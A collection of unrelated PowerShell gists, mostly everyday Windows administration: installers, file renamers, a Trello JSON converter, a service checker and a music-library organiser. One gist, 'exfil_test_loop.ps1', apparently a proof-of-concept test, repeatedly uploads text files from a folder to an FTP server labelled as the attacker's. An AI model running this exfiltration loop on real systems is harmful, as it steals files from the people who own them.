PowerShellCorpus/GithubGist/glombard_7416112_raw_fb317426b2092a41770cf86b50463fb0c2f73706_get-curl.ps1
|
glombard_7416112_raw_fb317426b2092a41770cf86b50463fb0c2f73706_get-curl.ps1
|
$c=New-Object Net.WebClient
$c.DownloadFile('http://heanet.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip',"$env:TEMP\7za920.zip")
$c.DownloadFile('http://www.paehl.com/open_source/?download=curl_733_0_ssl.zip',"$env:TEMP\curl.zip")
$shell=New-Object -Com Shell.Application
$win=$shell.NameSpace($env:windir)
$win.CopyHere($shell.NameSpace("$env:TEMP\7za920.zip").Items(), 16)
$win.CopyHere($shell.NameSpace("$env:TEMP\curl.zip").Items(), 16)
|
PowerShellCorpus/GithubGist/Mellbourn_8711b2742ea2763d5fe8_raw_6ecb944c2a98c94cffcd89bdaaf17f42b639eeff_boxstarterWebWorkComputerWithVSPremium.ps1
|
Mellbourn_8711b2742ea2763d5fe8_raw_6ecb944c2a98c94cffcd89bdaaf17f42b639eeff_boxstarterWebWorkComputerWithVSPremium.ps1
|
Set-WindowsExplorerOptions -EnableShowHiddenFilesFoldersDrives -EnableShowFileExtensions -EnableShowFullPathInTitleBar
Update-ExecutionPolicy RemoteSigned
[Environment]::SetEnvironmentVariable("HTTP_PROXY", "http://seproxy.hm.com:8080/", "Machine")
[Environment]::SetEnvironmentVariable("HTTP_PROXY", "http://seproxy.hm.com:8080/", "Process")
choco install git.install
#choco install notepadplusplus.install
#choco install notepad2
choco install 7zip.install
# some want google chrome beta channel
choco install Google-Chrome-x64
choco install PowerShell
# note that some need Professional
choco install VisualStudio2013Premium -InstallArguments "/Features:'SQL WebTools'"
choco install visualsvn
choco install resharper
choco install stylecop
choco install kdiff3
choco install tortoisesvn
choco install poshgit
choco install gitextensions
choco install tortoisegit
choco install nodejs.install
# this is old and not maintained
#choco install typescript
choco install fiddler4
#not needed anymore
# choco install Compass
choco install visualstudio2013-webessentials.vsix
choco install jdk8
choco install atom
choco install ConEmu
choco install sysinternals
choco install rdcman
choco install nuget.commandline
choco install mssqlserver2014express
choco install mssqlservermanagementstudio2014express
# Proxy settings are needed for the NPM calls.
npm config set proxy http://seproxy.hm.com:8080
npm install -g grunt
npm install -g gulp
git.exe config --global core.autocrlf false
git.exe config --global core.safecrlf false
git.exe config --global push.default simple
git.exe config --global core.preloadindex true
git.exe config --global mergetool.keepbackup false
git.exe config --global http.proxy http://seproxy.hm.com:8080
|
PowerShellCorpus/GithubGist/shauvik_6d701adedbfd85be74b0_raw_232d7ec4d89581eb638b94ab89771ec0ac44c1e1_run-processes.ps1
|
shauvik_6d701adedbfd85be74b0_raw_232d7ec4d89581eb638b94ab89771ec0ac44c1e1_run-processes.ps1
|
$array = "folder1", "folder2"
cd c:\experiments
Foreach ($element in $array) {echo "Processing $element"; `
$p = $(Start-Process java -ArgumentList "-jar script.jar $element" -RedirectStandardOutput $element\out.log -RedirectStandardError $element\err.log -PassThru);`
if ( ! $p.WaitForExit(1800000) )
{ echo "$element did not exit after 30min"; $p.kill() }
}
|
PowerShellCorpus/GithubGist/higikis9463_a82da1de46fceda80116_raw_ec94425c96dd3bd1be72fd7ba1fc015692eebab4_Rename.ps1
|
higikis9463_a82da1de46fceda80116_raw_ec94425c96dd3bd1be72fd7ba1fc015692eebab4_Rename.ps1
|
# --------------------------------------------------------------------------------
# 指定フォルダからファイル名を取得し、設定文字に置き換えた上でリネームします。
# Move-itemの-LiteralPathを使用している為殆どの文字を置換可能です。多分
# $Saveで任意のフォルダと取得したいファイルを設定してください。(ワイルドカードが使用可)
# 置換文字を追加したい場合は$Before(置換前)と$After(置換後)に書き加えてください。
# --------------------------------------------------------------------------------
# 初期設定
$Save = "C:\パス\ファイル名.拡張子" # 置換対象フォルダと拡張子
$Before = @("転", "♡", "<", ">", "&", " ", " ", "☆", ":", "␣", "♪", "(", ")", "[", "]", ",", "#", "$", "%", "&", "=", ";", "脳")
$After = @("てん", "_", "", "", "&", "_", "_", "_", "_", "_", "_", "(", ")", "「", "」", "_", "#", "$", "%", "&", "=", "_", "のう")
$Elem = $Before.Length
# $Beforeと$Afterの要素数が等しく、ファイルが存在する場合置換を実行する
if(($Before.Length -eq $After.Length) -and (Test-Path -path $Save)){
"要素数は" + "$Elem" + "個です。置換を実行します。"
# 置換する文字の決定
for ($j=0; $j -lt $Elem; $j++){
$Newpath = @() # 置換前のフルパス
$Newname = @() # 置換後のファイル名
$Oldpath = @((Get-ChildItem $Save).FullName) # 取得したファイルの絶対パス取得
$Oldname = @(Split-Path $Oldpath -Leaf) # 絶対パスからファイル名取得
$File = $Oldpath.Length # 置換対象フォルダ内のファイル数
$Parent = @(Split-Path $Oldpath -Parent) # Saveの親ディレクトリのみ
# 決定した文字を元に、すべてのファイル名に置換を実行する
for ($i=0; $i -lt $File; $i++){
$Newname += $Oldname[$i].Replace($Before[$j],$After[$j])
$Newpath += Join-Path $Parent[$i] $Newname[$i]
Move-item -LiteralPath $Oldpath[$i] $Newpath[$i]
}
}
"[完了]"
}else{
"BefとAftの数が一致しないか、置換対象フォルダにファイルが存在しない為、"
"置換は実行されませんでした。指定箇所を確認してください。"
}
|
PowerShellCorpus/GithubGist/joshtransient_6135527_raw_13213ef5a07202a2258cfa4fa0acf68a9e4dec78_ConvertFrom-TrelloJSON.ps1
|
joshtransient_6135527_raw_13213ef5a07202a2258cfa4fa0acf68a9e4dec78_ConvertFrom-TrelloJSON.ps1
|
<#
.SYNOPSIS
ConvertFrom-TrelloJSON
.NOTES
Author: Josh Leach, Critigen
Date: 1 Aug 2013
TODO: Download capability, maybe eventually, with the option to specify a developer API code.
Moar data? Direct Excel output? Eh, probably not.
.DESCRIPTION
Converts a JSON file downloaded from Trello to...whatever! Pipe it, export it, or display it just
as you would do for any other ConvertFrom-* cmdlet.
.PARAMETER File
Location of the .json file
.EXAMPLE
.\ConvertFrom-TrelloJSON .\export-board.json | Export-CSV -Encoding UTF8 export-board.csv
Converts export-board.json into a regular PSObject and converts it to CSV. Specifying UTF8
because it treats CRLFs very nicely, especially when opening in Excel via double-cick.
.EXAMPLE
.\ConvertFrom-TrelloJSON c:\path\to\another-board.json | Out-GridView
Displays a GridView of another-board.json. Nice if you want to just preview your output before
committing to a deliverable format.
#>
# One lonely parameter!
Param(
[parameter(Mandatory=$true)][Alias('f')][ValidateScript({Test-Path $_})]$File
)
Function Get-Checklists {
Param($checklists)
# We're going to output checklists and todo items as a single text object here
Begin { $clText = '' }
Process {
foreach($clID in $checklists) {
$checklist = $global:board.checklists |? {$_.id -eq $clID}
# Including a CRLF at the end of every line for formatting purposes. Out-Gridview and Export-CSV
# (when used in tandem with -Encoding UTF8) respects these as valid line breaks
$clText += "$($checklist.name):`r`n"
# Outputs like "- Do this now! (incomplete)"
$checklist.checkItems |% { $clText += "- {0} {1}" -f $_.name, "($($_.state))`r`n" }
}
}
End { $clText.TrimEnd() }
}
# Picked up the Out-String trick from a StackExchange thread:
# http://stackoverflow.com/questions/12140546/invalid-array-passed-when-parsing-json
# This usually prevents PowerShell from flipping out over JSON it thinks isn't valid
$global:board = Get-Content $File | Out-String | ConvertFrom-Json
# Define list name array to avoid an overly long expression when we extract data from $board
$lists = @{}
$global:board.lists |% {$lists.Add($_.id,$_.name)}
# Gigantic select statement to transform all the board things into output-able data
$cards = $global:board.cards | Select-Object name,
@{Name="list";Expression={ $lists[$_.idList] }},
@{Name="tags";Expression={ $_.labels.name -join ', ' }},
@{Name="due"; Expression={ ([DateTime]$_.due).ToShortDateString() }},
desc,
@{Name="todo";Expression={
if($_.idChecklists -ne $null) { Get-Checklists $_.idChecklists }
}}
# Friendly PSObject output for exporting or just for a looky-loo
$cards
|
PowerShellCorpus/GithubGist/piffd0s_42a416ce869827bbbfd9_raw_6cc98aa893debdcb9b643c3750b1a8cf9e28ca20_exfil_test_loop.ps1
|
piffd0s_42a416ce869827bbbfd9_raw_6cc98aa893debdcb9b643c3750b1a8cf9e28ca20_exfil_test_loop.ps1
|
$Dir="C:\poc"
#ftp server
$ftp = "ftp://10.1.10.78/"
$user = "attacker"
$pass = "attacker"
$ctr = 1
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
#infinite loop, upload text files in dir, to attacker server
while ($ctr -lt 10)
{
foreach($item in (dir $Dir *.txt)){
"Uploading $item..."
$uri = New-Object System.Uri($ftp+$item.Name)
$webclient.UploadFile($uri, $item.FullName)
Start-Sleep -s 120
}
}
|
PowerShellCorpus/GithubGist/guitarrapc_7dc6c33854028345ee6d_raw_38613bab3350a8b0e63a55dc47b6e70031b7d54e_WebPlatformInstaller.ps1
|
guitarrapc_7dc6c33854028345ee6d_raw_38613bab3350a8b0e63a55dc47b6e70031b7d54e_WebPlatformInstaller.ps1
|
#region Initializer
function New-WebPlatformInstaller
{
[OutputType([Void])]
[CmdletBinding()]
param()
try
{
[reflection.assembly]::LoadWithPartialName("Microsoft.Web.PlatformInstaller") > $null
}
catch
{
}
$script:WebPI = @{}
}
New-WebPlatformInstaller
#endregion
#region Constructor
function New-WebPlatformInstallerProductManager
{
[OutputType([Void])]
[CmdletBinding()]
param()
if ($null -eq $WebPI){ New-WebPlatformInstaller }
$productManager = New-Object Microsoft.Web.PlatformInstaller.ProductManager
$productManager.Load()
$WebPI.productManager = $productManager
Write-Verbose "Remove Blank Keywords Products / IIS Components (Windows Feature)"
$WebPI.productManagerProducts = $WebPI.productManager.Products | where Keywords | where Title -notlike 'IIS:*'
$WebPI.productManagerProductsIISComponent = $WebPI.productManager.Products | where Keywords | where Title -like 'IIS:*'
}
function New-WebPlatformInstallerInstallManager
{
[OutputType([Void])]
[CmdletBinding()]
param()
if ($null -eq $WebPI){ New-WebPlatformInstaller }
$WebPI.installManager = New-Object Microsoft.Web.PlatformInstaller.InstallManager
}
#endregion
#region Product
function Get-WebPlatformInstallerProduct
{
<#
.Synopsis
Get WebPlatformInstaller Packages.
.DESCRIPTION
This function will return Product information for WebPlatform Installer.
You can select 2 mode.
1. -ProductId will give you availability to filter package.
2. Omit -ProductId will return all packages.
Make sure No keyword items and IIS Components (Windows Feature) will never checked.
.EXAMPLE
Get-WebPlatformInstallerProduct -ProductId WDeploy
# Returns WDeploy Product information
.EXAMPLE
Get-WebPlatformInstallerProduct
# Returns All Product information
#>
[OutputType([Microsoft.Web.PlatformInstaller.Product[]])]
[CmdletBinding(DefaultParameterSetName = "Any")]
param
(
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1, ValueFromPipeline = 1)]
[string[]]$ProductId,
[switch]$Force
)
begin
{
if (($null -eq $WebPI.productManagerProducts) -or $Force){ New-WebPlatformInstallerProductManager }
# Initialize
if ($PSBoundParameters.ContainsKey('ProductId'))
{
$result = $null
$private:productManagerDic = New-Object 'System.Collections.Generic.Dictionary[[string], [Microsoft.Web.PlatformInstaller.Product]]' ([StringComparer]::OrdinalIgnoreCase)
$WebPI.productManagerProducts | %{$productManagerDic.Add($_.ProductId, $_)}
}
}
process
{
if (-not $PSBoundParameters.ContainsKey('ProductId'))
{
Write-Verbose ("Searching All Products.")
return $WebPI.productManagerProducts | sort ProductId
}
foreach ($id in $ProductId)
{
# Search product by ProductId
Write-Verbose ("Searching ProductId : '{0}'" -f $id)
$isSuccess = $productManagerDic.TryGetValue($id, [ref]$result)
if ($isSuccess){ $result; continue; }
if ($id -in $WebPI.productManagerProductsIISComponent.ProductId){ [Console]::WriteLine("ProductId '{0}' will skip as it detected IIS Component." -f $id); continue; }
throw New-Object System.InvalidOperationException ("WebPlatform Installation could not found package '{0}' as valid ProductId. Please select from '{1}'" -f $id, (($WebPI.productManagerProducts.ProductId | sort) -join "', '"))
}
}
}
function Test-WebPlatformInstallerProductIsInstalled
{
<#
.Synopsis
Test target Package is already installed or not.
.DESCRIPTION
This function will check desired Package is already installed or not yet by Boolean.
$true : Means already installed.
$false : Means not yet installed.
Pass ProductId which you want to check.
.EXAMPLE
Test-WebPlatformInstallerProductIsInstalled -ProductId WDeploy
# Check WDeploy is installed or not.
#>
[OutputType([bool])]
[CmdletBinding(DefaultParameterSetName = "Any")]
param
(
[parameter(Mandatory = 1, Position = 0, ValueFromPipelineByPropertyName = 1, ValueFromPipeline = 1)]
[string[]]$ProductId
)
# Not use Cached Value
$result = Get-WebPlatformInstallerProduct -ProductId $ProductId | % {$_.IsInstalled($false)}
Write-Verbose $result
return $result
}
#endregion
#region Install
function Install-WebPlatformInstallerProgram
{
<#
.Synopsis
Install target Package.
.DESCRIPTION
This function will install desired Package.
If Package is already installed, then skip it.
.EXAMPLE
Install-WebPlatformInstallerProgram -ProductId WDeploy
# Install WDeploy
#>
[OutputType([void])]
[CmdletBinding()]
param
(
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1, ValueFromPipeline = 1)]
[string[]]$ProductId,
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1)]
[ValidateSet('en', 'fr', 'es', 'de', 'it', 'ja', 'ko', 'ru', 'zh-cn', 'zh-tw', 'cs', 'pl', 'tr', 'pt-br', 'he', 'zh-hk', 'pt-pt')]
[string]$LanguageCode = 'en'
)
process
{
Write-Verbose "Checking Product is already installed."
$ProductId `
| % {
if(Test-WebPlatformInstallerProductIsInstalled -ProductId $_){ [Console]::WriteLine("Package '{0}' already installed. Skip installation." -f $_); return; }
$productIdList.Add($_)
}
}
end
{
if (($productIdList | measure).count -eq 0){ return; }
try
{
# Prerequisites
Write-Verbose "Get Product"
[Microsoft.Web.PlatformInstaller.Product[]]$product = Get-WebPlatformInstallerProduct -ProductId $productIdList
if ($null -eq $product){ throw New-Object System.NullReferenceException }
# Install
# InstallByNET -LanguageCode $LanguageCode -product $product
InstallByWebPICmd -Name $ProductId
}
catch
{
throw $_
}
finally
{
if ($null -ne $WebPI.installManager){ $WebPI.installManager.Dispose() }
}
}
begin
{
# Initialize
if ($null -eq $WebPI.productManager){ New-WebPlatformInstallerProductManager }
$productIdList = New-Object 'System.Collections.Generic.List[string]'
function ShowInstallerContextStatus
{
if ($null -ne $WebPI.installManager.InstallerContexts){ $WebPI.installManager.InstallerContexts | Out-String -Stream | Write-Verbose }
}
function WatchInstallationStatus
{
[OutputType([bool])]
[CmdletBinding()]
param
(
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1)]
[string]$ProductId,
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1)]
[Microsoft.Web.PlatformInstaller.InstallationState]$PreStatus,
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1)]
[Microsoft.Web.PlatformInstaller.InstallationState]$PostStatus
)
# Skip
if ($postStatus -eq $preStatus)
{
Write-Verbose "Installation not begin"
return $false
}
# Monitor
ShowInstallerContextStatus
while($postStatus -ne [Microsoft.Web.PlatformInstaller.InstallationState]::InstallCompleted)
{
Start-Sleep -Milliseconds 100
$postStatus = $WebPI.installManager.InstallerContexts.InstallationState
}
ShowInstallerContextStatus
$logfiles = $WebPI.installManager.InstallerContexts.Installer.LogFiles
$latestLog = ($logfiles | select -Last 1)
[Console]::WriteLine(("'{0}' Installation completed. Check Log file at '{1}'" -f ($ProductId -join "', '"), $latestLog))
Write-Verbose ("Latest Log file is '{0}'." -f (Get-Content -Path $latestLog -Encoding UTF8 -Raw))
return $true
}
function InstallByNET
{
[OutputType([void])]
[CmdletBinding()]
param
(
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1)]
[string]$LanguageCode,
[parameter(Mandatory = 0, Position = 0, ValueFromPipelineByPropertyName = 1)]
[Microsoft.Web.PlatformInstaller.Product[]]$product
)
# Initialize
New-WebPlatformInstallerInstallManager
$installer = New-Object 'System.Collections.Generic.List[Microsoft.Web.PlatformInstaller.Installer]'
# Get Language
[Microsoft.Web.PlatformInstaller.Language]$language = $WebPI.productManager.GetLanguage($LanguageCode)
$product `
| % {
Write-Verbose "Get Installer"
$x = $_.GetInstaller($language)
if ($null -eq $x.InstallerFile){ [Console]::WriteLine("Package '{0}' detected as no Installer to install. Skip Installation." -f $_.ProductId); return; }
$installer.Add($x)
$WebPI.InstallManager.Load($installer)
Write-Verbose "Donwload Installer"
ShowInstallerContextStatus
$failureReason = $null
$success = $WebPI.InstallManager.InstallerContexts | %{ $WebPI.installManager.DownloadInstallerFile($_, [ref]$failureReason) }
if ((-not $success) -and $failureReason){ throw New-Object System.InvalidOperationException ("Donwloading '{0}' Failed Exception!! Reason : {1}" -f ($ProductId -join "' ,'"), $failureReason ) }
Write-Verbose "Show Donwloaded Installer Status"
ShowInstallerContextStatus
# Get Status
[Microsoft.Web.PlatformInstaller.InstallationState]$preStatus = $WebPI.installManager.InstallerContexts.InstallationState
Write-Verbose "Start Installation with StartInstallation()"
$WebPI.installManager.StartInstallation()
if (WatchInstallationStatus -ProductId $_.ProductId -PreStatus $preStatus -PostStatus $WebPI.installManager.InstallerContexts.InstallationState){ return; }
Write-Verbose "Start Installation with StartApplicationInstallation()"
$WebPI.installManager.StartApplicationInstallation()
if (WatchInstallationStatus -ProductId $_.ProductId -PreStatus $preStatus -PostStatus $WebPI.installManager.InstallerContexts.InstallationState){ return; }
Write-Verbose "Start Installation with StartSynchronousInstallation()"
$installResult = $WebPI.installManager.StartSynchronousInstallation()
if (WatchInstallationStatus -ProductId $_.ProductId -PreStatus $preStatus -PostStatus $WebPI.installManager.InstallerContexts.InstallationState){ return; }
}
}
function InstallByWebPICmd
{
[OutputType([Void])]
[CmdletBinding()]
param
(
[parameter(Mandatory = $true)]
[System.String[]]$Name
)
end
{
foreach ($x in $Name)
{
Write-Verbose ("Installing package '{0}'" -f $x)
[string]$arguments = @(
"/Install",
"/Products:$x",
"/AcceptEula",
"/SuppressReboot"
)
Invoke-WebPICmd -Arguments $arguments
}
}
begin
{
Write-Verbose "Start Installation with WebPICmd"
function Invoke-WebPICmd
{
[OutputType([System.String])]
[CmdletBinding()]
param
(
[parameter(Mandatory = $true)]
[System.String]$Arguments
)
$fileName = "$env:ProgramFiles\Microsoft\Web Platform Installer\WebpiCmd-x64.exe"
if (!(Test-Path -Path $fileName)){ throw New-Object System.InvalidOperationException ("Web Platform Installer not installed exception!") }
try
{
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.CreateNoWindow = $true
$psi.UseShellExecute = $false
$psi.RedirectStandardOutput = $true
$psi.RedirectStandardError = $true
$psi.FileName = $fileName
$psi.Arguments = $Arguments
$process = New-Object System.Diagnostics.Process
$process.StartInfo = $psi
$process.Start() > $null
$output = $process.StandardOutput.ReadToEnd()
$process.StandardOutput.ReadLine()
$process.WaitForExit()
return $output
}
catch
{
$outputError = $process.StandardError.ReadToEnd()
throw $_ + $outputError
}
finally
{
if ($null -ne $psi){ $psi = $null}
if ($null -ne $process){ $process.Dispose() }
}
}
}
}
}
}
#endregion
|
PowerShellCorpus/GithubGist/b4tman_75cd08f88a794ebe782c_raw_92ee20534bd2aa6725cb257b7725c265723ac1d6_%D0%97%D0%B0%D0%BA%D1%80%D1%8B%D1%82%D1%8C%D0%91%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D1%8B.ps1
|
b4tman_75cd08f88a794ebe782c_raw_92ee20534bd2aa6725cb257b7725c265723ac1d6_%D0%97%D0%B0%D0%BA%D1%80%D1%8B%D1%82%D1%8C%D0%91%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D1%8B.ps1
|
$browsers_exe = @()
$browsers_exe += "opera.exe"
$browsers_exe += "opera_crashreporter.exe"
$browsers_exe += "opera_autoupdate.exe"
$browsers_exe += "LiberKeyPortabilizer.exe"
$browsers_exe += "browser.exe"
$browsers_exe += "chrome.exe"
$browsers_exe += "firefox.exe"
function global:CountDown
{param([int]$Minutes=1)
New-Variable -Name timeText -Value "{0}:{1}:{2}" -Option Constant
New-Variable -Name oneSec -Value ([TimeSpan]::FromSeconds(1)) -Option Constant
[bool]$ret = $true
$window = $Host.UI.Rawui.WindowSize
$origin = $Host.UI.RawUI.CursorPosition
$Countdown = [TimeSpan]::FromMinutes($Minutes)
$cursor = $Host.UI.RawUI.CursorPosition
while ($Countdown.TotalSeconds -gt 0)
{
# Очистка области от курсора до конца буфера окна
$space = New-Object System.Management.Automation.Host.BufferCell -ArgumentList ' ', $Host.UI.RawUI.ForegroundColor, $Host.UI.RawUI.BackgroundColor, "Complete"
$rect = New-Object System.Management.Automation.Host.Rectangle -ArgumentList $cursor.X, $cursor.Y, $Host.UI.RawUI.WindowSize.Width, $Host.UI.RawUI.WindowSize.Height
$Host.UI.RawUI.SetBufferContents($rect, $space)
# Отображение таймера
$Host.UI.RawUI.CursorPosition = $cursor
write-host ("Осталось: `t$timeText" -f ($Countdown.Days * 24 + $Countdown.Hours).ToString("D1"), $Countdown.Minutes.ToString("D2"), $Countdown.Seconds.ToString("D2"))
write-host "`t`t (ч:мин:cек)"
[System.Threading.Thread]::Sleep($oneSec.TotalMilliseconds)
$Countdown = $Countdown.Subtract($oneSec)
# проверка нажатия клавиши
if($Host.UI.RawUI.KeyAvailable)
{
#$Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp")
break
}
}
return $ret
}
function Find-Browsers {
Get-Process | Where-Object {$browsers_exe -contains $_.MainModule.ModuleName}
}
Write-Host -ForegroundColor Yellow "Ищем гадов.."
$procs = Find-Browsers
do {
Write-Host -ForegroundColor Red "Расстреливаем их:"
$procs | Format-Table -Auto
$procs | Stop-Process -Force
Write-Host -ForegroundColor Yellow "Ищем гадов.."
$procs = Find-Browsers
} while ($procs.Count -ge 1)
Write-Host -ForegroundColor Green "Готово!"
CountDown 3
|
PowerShellCorpus/GithubGist/aroben_5550040_raw_7412d5493cb92d71f26b2586b7a5e872707c66cd_netusage.ps1
|
aroben_5550040_raw_7412d5493cb92d71f26b2586b7a5e872707c66cd_netusage.ps1
|
$LastLine = ""
while ($true) {
$Bps = Get-WMIObject -Class Win32_PerfFormattedData_Tcpip_NetworkInterface `
| Measure-Object BytesTotalPersec -Sum | %{ $_.Sum }
$ThisLine = "{0:F2} KiB/sec" -f ($Bps / 1024)
[Console]::Write("`r{0}" -f (" " * $LastLine.Length))
[Console]::Write("`r$ThisLine")
$LastLine = $ThisLine
Start-Sleep -Seconds 1
}
|
PowerShellCorpus/GithubGist/silverskymedia_2001719_raw_4a71c5180dfd5e6edb9c65abd409235a9d049ed8_gistfile1.ps1
|
silverskymedia_2001719_raw_4a71c5180dfd5e6edb9c65abd409235a9d049ed8_gistfile1.ps1
|
# Clear console screen
clear
# Setup trap to catch exceptions
trap [Exception] {
Write-Error $("Trapped: " + $_.Exception.Message);
}
# Read computers from the text file
$computers = Get-Content 'C:\servers.txt';
$start = $true;
# Setup the service array with the service names we want to check are running
$serviceArray = 'IISADMIN';
foreach($computer in $computers) {
Write-Host "Checking $computer";
$objWMIService = Get-WmiObject -Class win32_service -computer $computer
foreach($service in $objWMIService) {
# Check each service specified in the $serviceArray
foreach($srv in $serviceArray) {
if($service.name -eq $srv) {
Write-Host "$srv is present on $computer.";
if($service.state -eq "running"){
Write-Host "$srv is running on $computer.";
}
else {
Write-Host "$srv is not running on $computer.";
# If $start is true the script will attempt to start the service if it is stopped
if($start -eq $true){
# Attempt to start the current service on the current computer
$serviceInstance = (Get-WmiObject -computer $computer Win32_Service -Filter "Name='$srv'");
$name = $serviceInstance.Name;
Write-Host "Attempting to start $name on $computer."
$serviceInstance.StartService() | Out-Null;
# Refresh the object instance so we get new data
$serviceInstance = (Get-WmiObject -computer $computer Win32_Service -Filter "Name='$srv'");
$state = $serviceInstance.State;
Write-Host "$name is ""$state"" on $computer.";
#Start-WebSite 'ECS';
}
}
}
}
}
}
Write-Host "`n";
|
PowerShellCorpus/GithubGist/andrebocchini_4376242_raw_f839d995ef93654390438c621e60ba2d3991fd87_Get-DellShipDate.ps1
|
andrebocchini_4376242_raw_f839d995ef93654390438c621e60ba2d3991fd87_Get-DellShipDate.ps1
|
Function Get-DellShipDate($serviceTag) {
$queryUrl = 'http://support.dell.com/support/topics/global.aspx/support/my_systems_info/details?c=us&l=en&s=gen&logout=&ServiceTag=' + $serviceTag
$wc = New-Object System.Net.WebClient
$wc.Encoding = [System.Text.Encoding]::UTF8
$results = $wc.DownloadString($queryUrl)
$startPattern = 'Ship Date:</td><td class="gridCell" valign="top">'
$endPattern = '</td></tr><tr><td class="gridCellAlt" valign="top" width="85">Country:'
$matchStart = $results.indexOf($startPattern)
$matchEnd = $results.indexOf($endPattern)
$date = $results.Substring($matchStart + $startPattern.Length, $matchEnd - ($matchStart + $startPattern.Length))
return $date
}
|
PowerShellCorpus/GithubGist/Gordon-Beeming_b74b800d65b99a3b3eff_raw_cdf397e65fb0a06b04f1600976e35c5dda3cf425_organise-music.ps1
|
Gordon-Beeming_b74b800d65b99a3b3eff_raw_cdf397e65fb0a06b04f1600976e35c5dda3cf425_organise-music.ps1
|
Param([String] $Folder)
$INVALIDCHARS = [System.IO.Path]::GetInvalidPathChars() + "/", "\", "*", "?", ":"
$MUSICATTRIBS = "*.m4a", "*.m4b", "*.mp3", "*.mp4", "*.wma", "*.flc"
$PLAYLISTATTRIBS = "*.m3u", "*.zpl"
$ALLATTRIBS = $MUSICATTRIBS + $PLAYLISTATTRIBS
$PLAYLISTSFOLDER = "Playlists"
$objShell = New-Object -ComObject Shell.Application
$iTotalFiles = 0
$iCurrentFile = 0
cls
function checkFolderName($FolderName)
{
# Make sure the folder doesn't contain any invalid characters
if(!$FolderName) { $FolderName = "Unknown" }
$INVALIDCHARS | % {$FolderName = $FolderName.replace($_, "-")}
return $FolderName
}
function MoveFiles($startDir)
{
Write-Host "Indexing playlists..."
# Do a recursive DIR in the starting directory, include everything with the attributes of a playlist.
# Filter the result by excluding everything that is a Container (folder)
$dirResult = get-childitem -LiteralPath $startDir -Force -recurse -include $PLAYLISTATTRIBS | where{! $_.PSIsContainer}
if($dirResult)
{
Write-Host "Moving playlists..."
foreach($dirItem in $dirResult)
{
$MoveFileTo = ($PLAYLISTSFOLDER + "\" + $dirItem.Name)
if (Test-Path -LiteralPath $MoveFileTo)
{
$MoveFileTo = "$($PLAYLISTSFOLDER)\$([System.Guid]::NewGuid())_duplicate ----- $($dirItem.Name)"
Write-Host "moving file '$($dirItem.FullName)' to '$MoveFileTo'"
move-item -LiteralPath $dirItem.FullName $MoveFileTo
}
else
{
Write-Host "moving file '$($dirItem.FullName)' to '$MoveFileTo'"
move-item -LiteralPath $dirItem.FullName ($PLAYLISTSFOLDER + "\" + $dirItem.Name)
}
}
}
Write-Host "Indexing music..."
# Do a recursive DIR in the starting directory, include everything with the attributes of a music file.
# Again we filter the result by excluding everything that is a Container.
$dirResult = get-childitem -LiteralPath $startDir -Force -recurse -include $MUSICATTRIBS | where{! $_.PSIsContainer}
# Make a note of how many hits we got, so we can show the progress to the client.
$iTotalFiles = $dirResult.Count
if($dirResult)
{
foreach($dirItem in $dirResult)
{
# Up the counter for how many files we've processed so that we can show progress
$iCurrentFile +=1
# Get the metadata for the file
$fileData = getMP3MetaData($dirItem.FullName)
# Find the path where we the song should be stored
$ArtistPath = $fileData["Album Artist"]
if (!$ArtistPath) { $ArtistPath = $fileData["Artists"] }
if (!$ArtistPath) { $ArtistPath = "Unknown" }
$AlbumYear = $fileData["Year"]
if (!$AlbumYear) { $AlbumYear = "Unknown" }
# Make shure it's a valid path
$ArtistPath = checkFolderName($ArtistPath)
$AlbumYear = checkFolderName($AlbumYear)
$AlbumPath = checkFolderName($fileData.Album)
$ArtistPath = join-path $startDir $ArtistPath
$AlbumYear = join-path $ArtistPath $AlbumYear
$AlbumPath = join-path $AlbumYear $AlbumPath
# Check if the file should be moved
if($dirItem.DirectoryName -ne $AlbumPath)
{
if(!(test-path -LiteralPath $ArtistPath)) # If the Artist folder doesn't exist
{
MKDIR $ArtistPath | out-null
}
if(!(test-path -LiteralPath $AlbumYear)) # If the Album Year folder doesn't exist
{
MKDIR $AlbumYear | out-null
}
if(!(test-path -LiteralPath $AlbumPath)) # If the Album folder doesn't exist
{
MKDIR $AlbumPath | out-null
}
move-item -LiteralPath $dirItem.FullName ($AlbumPath + "\" + $dirItem.Name)
}
# Show progress
$percentage = ([int](($iCurrentFile / $iTotalFiles)*100))
Write-Host "$percentage% ($iCurrentFile files of $iTotalFiles) complete"
}
}
}
function removeEmptyFolders($startDir)
{
# Get all folders and subfolders
$dirResult = Get-childitem -LiteralPath $startDir -recurse | where{$_.PSIsContainer}
if($dirResult)
{
foreach($dirItem in $dirResult)
{
# If the folder is empty (Doesn't contain any music or playlists) it should be deleted
if(isfolderempty($dirItem.FullName))
{
# Check if the path is still valid, we may have deleted the folder already recursively.
if(Test-Path -LiteralPath $dirItem.FullName)
{
Write-Host "Removing $($dirItem.FullName)"
remove-item -LiteralPath $dirItem.FullName -force -recurse
}
}
}
}
}
function removeOtherFiles($startDir)
{
# Get all non-music files (except *.jpg-files) and remove them
$dirResult = Get-childitem -LiteralPath $startDir -recurse -exclude ($ALLATTRIBS + "*.jpg") | where{! $_.PSIsContainer}
if($dirResult)
{
foreach($dirItem in $dirResult)
{
if(Test-Path -LiteralPath $dirItem.FullName)
{
# Make sure the file still exists, and hasn't been deleted already
remove-item -LiteralPath $dirItem.FullName -force
}
}
}
}
function isFolderEmpty($folderPath)
{
# Search for any remaining music items in the folder.
if(Test-Path -LiteralPath $folderPath)
{
$dirChildren = get-childitem -LiteralPath $folderPath -Force -recurse -include $ALLATTRIBS | where{! $_.PSIsContainer}
if($dirChildren -ne $null)
{
return $false
}
else
{
return $true
}
}
else
{
# No use trying to delete the folder if it doesn't exist
return $false
}
}
